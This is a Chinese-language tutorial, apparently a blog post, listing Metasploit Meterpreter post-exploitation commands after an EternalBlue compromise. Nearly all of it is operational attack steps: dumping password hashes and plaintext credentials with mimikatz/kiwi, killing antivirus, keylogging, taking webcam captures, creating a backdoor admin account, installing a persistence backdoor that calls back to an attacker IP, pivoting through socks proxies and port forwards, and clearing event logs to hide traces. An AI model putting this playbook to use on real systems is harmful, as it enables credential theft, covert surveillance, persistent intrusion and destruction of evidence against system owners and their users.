在上文中我們復現了永恆之藍漏洞,這里我們學習一下利用msf簡單的后滲透階段的知識/
一、meterperter常用命令
sysinfo #查看目標主機系統信息
run scraper #查看目標主機詳細信息
run hashdump #導出密碼的哈希
load kiwi #加載mimikatz
ps #查看目標主機進程信息
pwd #查看目標當前目錄(windows)
getlwd #查看目標當前目錄(Linux)
search -f *.jsp -d e:\ #搜索E盤中所有以.jsp為后綴的文件 download e:\test.txt /root #將目標機的e:\test.txt文件下載到/root目錄下 upload /root/test.txt d:\test #將/root/test.txt上傳到目標機的 d:\test\ 目錄下 getpid #查看當前Meterpreter Shell的進程PID migrate 1384 #將當前Meterpreter Shell的進程遷移到PID為1384的進程上 idletime #查看主機運行時間 getuid #查看獲取的當前權限 getsystem #提權 run killav/run post/windows/manage/killav #關閉殺毒軟件 screenshot #截圖 webcam_list #查看目標主機的攝像頭 webcam_snap #拍照 webcam_stream #開視頻 execute 參數 -f 可執行文件 #執行可執行程序 run getgui -u hack -p 123 #創建hack用戶,密碼為123 run getgui -e #開啟遠程桌面 keyscan_start #開啟鍵盤記錄功能 keyscan_dump #顯示捕捉到的鍵盤記錄信息 keyscan_stop #停止鍵盤記錄功能 uictl disable keyboard #禁止目標使用鍵盤 uictl enable keyboard #允許目標使用鍵盤 uictl disable mouse #禁止目標使用鼠標 uictl enable mouse #允許目標使用鼠標 load #使用擴展庫 run #使用擴展庫 run persistence -X -i 5 -p 8888 -r 192.168.1.114 #反彈時間間隔是5s 會自動連接192.168.1.114的4444端口,缺點是容易被殺毒軟件查殺 portfwd add -l 3389 -r 192.168.11.13 -p 3389 #將192.168.11.13的3389端口轉發到本地的3389端口上,這里的192.168.11.13是獲取權限的主機的ip地址 clearev #清除日志
二、Post 后滲透模塊
該模塊主要用於在取得目標主機系統遠程控制權后,進行一系列的后滲透攻擊動作。
run post/windows/manage/migrate #自動進程遷移 run post/windows/gather/checkvm #查看目標主機是否運行在虛擬機上 run post/windows/manage/killav #關閉殺毒軟件 run post/windows/manage/enable_rdp #開啟遠程桌面服務 run post/windows/manage/autoroute #查看路由信息 run post/windows/gather/enum_logged_on_users #列舉當前登錄的用戶 run post/windows/gather/enum_applications #列舉應用程序 run windows/gather/credentials/windows_autologin #抓取自動登錄的用戶名和密碼 run windows/gather/smart_hashdump #dump出所有用戶的hash
三、常用的命令
訪問文件系統
Meterpreter支持非常多的文件系統命令(基本跟Linux系統命令類似),一些常用命令如下:
cd:切換目標目錄;
cat:讀取文件內容;
rm:刪除文件;
edit:使用vim編輯文件
ls:獲取當前目錄下的文件;
mkdir:新建目錄;
rmdir:刪除目錄;
上傳/下載文件
download file 命令可以幫助我們從目標系統中下載文件
upload file 命令則能夠向目標系統上傳文件。
權限提升
有的時候,你可能會發現自己的 Meterpreter 會話受到了用戶權限的限制,而這將會嚴重影響你在目標系統中的活動。比如說,修改注冊表、安裝后門或導出密碼等活動都需要提升用戶權限,而Meterpreter給我們提供了一個 getsystem 命令,它可以使用多種技術在目標系統中實現提權:
getuid 命令可以獲取當前用戶的信息,可以看到,當我們使用 getsystem進行提權后,用戶身材為 NT AUTHORITY\SYSTEM ,這個也就是Windows的系統權限。
注:執行getsystem命令后,會顯示錯誤,但是其實已經運行成功了!
獲取密碼(管理員權限)
1. run hashdump
2. run windows/gather/smart_hashdump
3. 自己上傳mimikatz
4. load kiwi——creds all
5. load mimikatz:①32位系統直接加載模塊 mimikatz_command -f sekurlsa::searchPasswords
②64位系統先遷移meterpreter到64位的進程中,再加載模塊
1、很多用戶習慣將計算機設置自動登錄,可以使用 run windows/gather/credentials/windows_autologin
抓取自動登錄的用戶名和密碼
2、hashdump 模塊可以從SAM數據庫中導出本地用戶賬號,執行:run hashdump ,該命令的使用需要系統權限
還可以使用命令:run windows/gather/smart_hashdump ,,該命令的使用需要系統權限,該功能更強大,可以導出域內所有用戶的hash
3、我們還可以通過上傳mimikatz程序,然后執行mimikatz程序來獲取明文密碼。
執行mimikatz必須System權限。
我們先getsystem提權至系統權限,然后執行 execute -i -f mimikatz.exe ,進入mimikatz的交互界面。然后執行:
privilege::debug
sekurlsa::logonpasswords
4、加載kiwi模塊,該模塊的使用需要System權限,load kiwi 查看該kiwi模塊的用法:help kiwi
5、或者運行MSF里面自帶的 mimikatz 模塊 ,該模塊的使用需要System權限。傳送門:MSF中mimikatz模塊的使用
運行程序
使用 execute 命令在目標系統中執行應用程序。這個命令的使用方法如下:
execute 參數 -f 可執行文件
運行后它將執行所指定的命令。可選參數如下:
-f:指定可執行文件 -H:創建一個隱藏進程 -a:傳遞給命令的參數 -i: 跟進程進行交互 -m:從內存中執行 -t: 使用當前偽造的線程令牌運行進程 -s: 在給定會話中執行進程
創建一個新賬號
先查看目標主機有哪些用戶:run post/windows/gather/enum_logged_on_users
接下來,我們可以在目標系統中創建一個新的用戶賬號:run getgui -u hack -p 123,這個命令會創建用戶,並把他添加到 Administrators 組中,這樣該用戶就擁有遠程桌面的權限了。
我們可以看到,這里成功創建了用戶,但是添加到Administrators組中失敗了 。我們可以運行:shell ,進行cmd窗口手動將該用戶添加到administrators組中。
啟用遠程桌面
當我們新添加的用戶已經擁有遠程桌面之后,我們就可以使用這個賬號憑證來開啟遠程桌面會話了。
首先,我們需要確保目標Windows設備開啟了遠程桌面功能(需要開啟多個服務),不過我們的 getgui 腳本可以幫我們搞定。我們可以使用-e參數確保目標設備開啟了遠程桌面功能(重啟之后同樣會自動開啟),我們輸入: run getgui -e 或者 run post/windows/manage/enable_rdp
在開啟遠程桌面會話之前,我們還需要使用“idletime”命令檢查遠程用戶的空閑時長: idletime
進程遷移
Meterpreter 既可以單獨運行,也可以與其他進程進行綁定。因此,我們可以讓Meterpreter與類似explorer.exe這樣的進程進行綁定,並以此來實現持久化。
在下面的例子中,我們會將Meterpreter跟 winlogon.exe 綁定,並在登錄進程中捕獲鍵盤記錄,以獲得用戶的密碼。
首先,我們需要使用: ps 命令查看目標設備中運行的進程:
使用:migrate 目標進程ID 命令來綁定目標進程id,這里綁定目標pid的時候,經常會斷了 shell。進程遷移后會自動關閉原來進程,沒有關閉可使用 kill pid 命令關閉進程。或者使用自動遷移進程(run post/windows/manage/migrate
)命令,系統會自動尋找合適的進程然后遷移。
綁定完成之后,我們就可以開始捕獲鍵盤數據了。
生成持續性后門
因為 meterpreter 是基於內存DLL建立的連接,所以,只要目標主機關機,我們的連接就會斷。總不可能我們每次想連接的時候,每次都去攻擊,然后再利用 meterpreter 建立連接。所以,我們得在目標主機系統內留下一個持續性的后門,只要目標主機開機了,我們就可以連接到該主機。
建立持續性后門有兩種方法,一種是通過啟動項啟動(persistence) ,一種是通過 服務啟動(metsvc)
啟動項啟動
啟動項啟動的話,我們先生成一個后門工具,傳送門——> 用MSF生成一個后門木馬
然后放到windows的啟動目錄中:
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
這樣這個后門每次開機就都能啟動了,然后我們只要相連就監聽相應的端口就行了。
服務啟動
通過服務啟動,我們可以運行命令
run persistence -X -i 5 -p 8888 -r 192.168.1.114 #反彈時間間隔是5s 會自動連接192.168.1.114的4444端口,缺點是容易被殺毒軟件查殺 #然后它就在目標機新建了這個文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,並把該服務加入了注冊表中,只要開機就會啟
設置Socks代理
這里socks模塊只是將代理設置為本地的1080端口,即通過proxychains的流量都轉給本地的1080端口,又因為這是MSF起的監聽端口。所以我們需要添加一個路由,這樣MSF監聽的1080端口就可以到達內網了。
MSF中有三個代理模塊,分別是socks4a、socks5、socks_unc。我們一般用 socks4a和socks5進行代理。socks5可以設置用戶名和密碼。這里運行代理后,有時候MSF不會監聽端口(有可能是個bug,試了好多次都有這種情況),所以也就導致代理失敗。
#使用socks4a代理 use auxiliary/server/socks5 run #使用socks5代理 use auxiliary/server/socks5 set USERNAME root set PASSWORD Password@ run #然后打開/etc/proxychains.conf,加入下面一行 socks5 0.0.0.0 1080 root Password@ #然后添加路由 route add 0.0.0.0 0.0.0.0 1 #然后就可以使用curl了 proxychains nmap -p 21 -Pn -sT x.x.x.x #在打開其他程序前加上proxychains
portfwd端口轉發
portfwd add -l 3389 -r 192.168.1.114 -p 3389 #將192.168.1.114的3389端口轉發到本地的3389端口上,這里的192.168.1.114是獲取權限的主機的ip地址
portfwd 是meterpreter提供的一種基本的端口轉發。porfwd可以反彈單個端口到本地,並且監聽。
然后我們只要訪問本地的3389端口就可以連接到目標主機的3389端口了
rdesktop 127.0.0.1:3389
清除事件日志
完成攻擊操作之后,千萬別忘了“打掃戰場”。我們的所有操作都會被記錄在目標系統的日志文件之中,因此我們需要在完成攻擊之后使用命令 clearev 命令來清除事件日志:
導入並執行PowerShell腳本
load powershell #加載powershell功能 powershell_import /root/PowerView.ps1 #導入powershell腳本,提前將該powershell腳本放到指定目錄 powershell_execute Get-NetDomain #執行該腳本下的功能模塊Get-domain,該模塊用於獲取域信息,一個腳本下通常有多個功能模塊 powershell_execute Invoke-UserHunter #該功能模塊用於定位域管理員登錄的主機 powershell_execute Get-NetForest #該模塊用於定位域信息
如果powershell腳本是用於域內信息收集的,則獲取到的權限用戶需要是域用戶.